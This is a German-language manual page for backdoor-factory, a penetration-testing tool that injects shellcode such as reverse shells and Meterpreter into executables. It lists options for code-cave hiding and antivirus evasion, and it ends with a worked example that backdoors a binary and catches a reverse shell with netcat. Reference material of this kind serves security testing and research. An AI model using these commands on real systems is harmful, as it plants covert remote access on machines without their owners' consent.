backdoor-factory - Vordefinierten oder benutzerdefinierten Shellcode in Binärdateien einfügen
backdoor-factory [options]
backdoor-factory patcht ausführbare Binärdateien mit dem vom Benutzer gewünschten Shellcode und setzt die normale Ausführung des vorgepatchten Zustands fort.
Dieses Tool ist nur für Sicherheitsexperten und Forscher bestimmt.
Dieses Tool unterstützt keine verschiebbare ausführbare ELF-Datei (d. h. kompiliert mit der Option -fPIE, empfohlen durch die Debian-Härtungsanforderungen, siehe https://wiki.debian.org/Hardening)
Binärdateien wie ssh werden möglicherweise nicht korrekt gecappt, wie dies bei Binärdateien wie Dolphin (zum Zeitpunkt der Erstellung dieser Manpage) der Fall ist.
Zeigen Sie diese Hilfemeldung an und beenden Sie den Vorgang
Datei zur Hintertür
Zur Nutzung verfügbare Nutzlasten. Verwenden Sie „Anzeigen“, um Nutzlasten anzuzeigen.
IP des C2 für umgekehrte Verbindungen.
Der Port, zu dem entweder eine Verbindung für Reverse-Shells hergestellt oder der auf Bind-Shells überwacht werden soll
Wählen Sie diese Option, wenn Sie Code Cave Jumping verwenden möchten, um Ihren Shellcode in der Binärdatei weiter zu verbergen.
Vorschreiben, dass der Exe ein neuer Abschnitt hinzugefügt wird (besserer Erfolg), aber weniger AV-Vermeidung
Stellen Sie sicher, dass der vom Benutzer bereitgestellte Shellcode mit der Architektur übereinstimmt, auf die Sie abzielen.
Die Höhlenflagge findet Codehöhlen, die zum Verstecken von Shellcode verwendet werden können. Dadurch werden alle Code-Caves einer bestimmten Größe gedruckt. Das Flag -l kann mit dieser Einstellung verwendet werden.
Zur Verwendung mit -c, um Codehöhlen unterschiedlicher Größe zu finden
Der Pfad der Backdoor-Ausgabedatei. Übergeordnete Verzeichnisse müssen vorhanden sein
Der Name des neuen Abschnitts muss weniger als sieben Zeichen lang sein
Dies ist der Speicherort der Dateien, die Sie per Hintertür öffnen möchten. Sie können das Backdooring eines Dateiverzeichnisses beschleunigen, indem Sie mithilfe der Einstellung -a das Anhängen eines Codecaves an die Exe-Datei erzwingen.
Dieses Flag ändert den Abschnitt, der die Codecave enthält, in RWE. Manchmal ist dies notwendig. Standardmäßig aktiviert. Wenn die Hintertür deaktiviert ist, schlägt sie möglicherweise fehl.
Dieser Befehl verwandelt die Backdoor-Fabrik in einen Such- und Shellcode-Inject-Mechanismus. Bearbeiten Sie die Zieleinstellungen im Injektormodul.
Für die Verwendung mit dem Injektor wird der Originaldatei ein Suffix hinzugefügt, um die Wiederherstellung zu erleichtern
Zur Verwendung mit Injektormodul. Dieser Befehl löscht die Originaldatei. Nicht zur Verwendung in Produktionssystemen geeignet. (Der Autor ist nicht verantwortlich für dumme Verwendungen.)
Startpunkt auf dem Festplattenoffset, in Bytes. Einige Autoren möchten ihren Offset auf der Festplatte verschleiern, um Reverse Engineering zu vermeiden. Wenn Sie eine dieser Dateien finden, verwenden Sie dieses Flag, nachdem Sie den Offset gefunden haben.
Um festzustellen, ob die Datei von BDF unterstützt wird, bevor die Datei mit einer Hintertür versehen wird. Zur alleinigen Verwendung oder mit Verbose. Diese Prüfung erfolgt automatisch, wenn ein Backdoor-Angriff versucht wird.
Zukünftige Verwendung, um den kleinstmöglichen Shellcode in einer PE-Datei zu bestimmen
Tötet das Banner.
Zur Ausgabe von Debug-Informationen.
Nur Binärdateien vom Typ ALL, x86 oder x64. Standard=ALLE
Ermöglicht das Überschreiben des Zeigers auf die PE-Zertifikattabelle, wodurch das Zertifikat in jeder Hinsicht effektiv aus der Binärdatei entfernt wird.
EXPERIMENTELL Überprüft die PE-Binärdateien auf „requestedExecutionLevel level="highestAvailable"“. Wenn diese Zeichenfolge in der Binärdatei enthalten ist, muss sie als system/admin ausgeführt werden. Wenn der Support-Check-Modus nicht aktiviert ist, wird versucht, „highestAvailable“ in das Manifest zu patchen, wenn der Eintrag „requestedExecutionLevel“ vorhanden ist.
Verwenden Sie diese Einstellung, wenn Sie DLLs NICHT patchen möchten. Standardmäßig Patches.
Für MACH-O-Format. Konzentrieren Sie sich bei einer fetten Datei darauf, welcher Bogen geflickt werden soll. Der Standardwert ist x64. Um x86 zu erzwingen, verwenden Sie -F x86, um beide Archen zu erzwingen, verwenden Sie -F ALL.
Legen Sie für Nutzlasten, die die Fähigkeit zum Aussenden haben, die Zeit in Sekunden fest
Patching-Methoden für PE-Dateien: „manuell“, „automatisch“, „Ersetzen“ und „Onionduke“.
Für Zwiebelduke. Geben Sie Ihre gewünschte Binärdatei an.
Standard: Unterstützt keine älteren XP-Maschinen. Verwenden Sie -X, um XP zu unterstützen. Standardmäßig stürzt die Binärdatei auf XP-Rechnern ab (z. B. Sandboxes).
EXPERIMENTELL Standardmäßig wird eine neue Importverzeichnistabelle in einem neuen Abschnitt erstellt. Durch Aufrufen dieses Flags wird sie in eine Codehöhle verschoben. Dies kann in einigen Fällen zu einem Ausfall des Bianry führen. Testen Sie zuerst die Zielbinärdateien.
Für diejenigen mit Codesigning-Zertifikaten, die nur PE-Binärdateien signieren möchten. Benennen Sie Ihren Signaturschlüssel und Ihren privaten Schlüssel signingcert.cer bzw. signingPrivateKey.pem im Zertifikatsverzeichnis. Es liegt an Ihnen, Signaturzertifikate zu erhalten.
Um Vorverarbeitungsskripte im Vorverarbeitungsverzeichnis auszuführen
In der Backdoor-Factory gibt es verschiedene vordefinierte Shellcodes. Ihre Verfügbarkeit hängt vom Zieltyp (ELF32, ELF64, PE32...) ab. Die Shellcodes-Liste ist unten definiert.
Bedarf: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Remote-Shell-Zugriff
Bedarf: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Remote-Shell-Zugriff
Benötigt werden: ein Beacon, ein Remote-Host und ein festzulegender Port. Erlaubt: Remote-Shell-Zugriff
benötigen: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab
Bedarf: Genehmigungen:
benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff
Benötigt: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Injizieren der Meterpreter-Server-DLL über die Reflektive Dll-Injection-Nutzlast
benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Meterpreter über https-Transport
Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab
benötigt: einen Remote-Host und einen einzustellenden Port erlaubt:
benötigt: einen Remote-Host und einen einzustellenden Port erlaubt:
Benötigt: Ein Remote-Host und ein Port müssen festgelegt werden. Erlaubt: Injizieren der Meterpreter-Server-DLL über die Reflektive Dll-Injection-Nutzlast
Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab
benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff
benötigt: einen Remote-Host und einen Port, der eingestellt werden muss, erlaubt: Remote-Shell-Zugriff
Benötigt: ein Beacon, einen Remote-Host und einen Port, die eingestellt werden müssen, um Remote-Shell-Zugriff zu ermöglichen
Benötigt: einen benutzerdefinierten Shellcode, der zur Injektion bereit ist. Berechtigungen: hängen vom Shellcode ab
Beispiel für die Höhlencodierung einer ELF-Binärdatei durch Integration eines Remote-Shell-Zugriffs über einen Remote-TCP-Listener (z. B. Netcat):
backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcpStarten Sie netcat auf dem Host hinter der IP 172.16.0.15 im Listen-Modus:
netcat -l 172.16.0.15 8080Starten Sie auf dem Ziel die Backdoor-Binärdatei:
./backdoored/dolphinVerwenden Sie jetzt auf dem Host 172.16.0.15 einfach Ihre Shell.
Mai 2017, ursprünglich zusammengestellt von Philippe Thierry (phil bei reseau-libre dot com)